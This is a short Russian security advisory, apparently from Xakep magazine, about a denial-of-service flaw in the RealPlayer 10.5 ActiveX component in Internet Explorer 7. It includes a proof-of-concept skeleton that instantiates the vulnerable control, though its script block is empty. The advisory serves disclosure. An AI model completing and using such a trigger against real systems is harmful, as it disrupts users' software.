Отказ в обслуживании в Internet Explorer RealPlayer ActiveX компоненте

Рекомендуем почитать:

Хакер #325. Шпионские штучки

• Содержание выпуска
• Подписка на «Хакер»-40%

Программа: Internet Explorer 7 RealPlayer 10.5 ActiveX

Уязвимость позволяет удаленному злоумышленнику выполнить DoS атаку на целевую систему. Уязвимость существует из-за ошибки в проверке входных в RealPlayer ActiveX компоненте в ierpplug.dll. Атакующий может передать приложению злонамеренные данные, что приведет к отказу системы в обслуживании.

Пример:

<html>
<object classid='clsid:FDC7A535-4070-4B92-A0EA-D9994BCC0DC5' id='RealPlayer'></object>
<script language='vbscript'>

</script>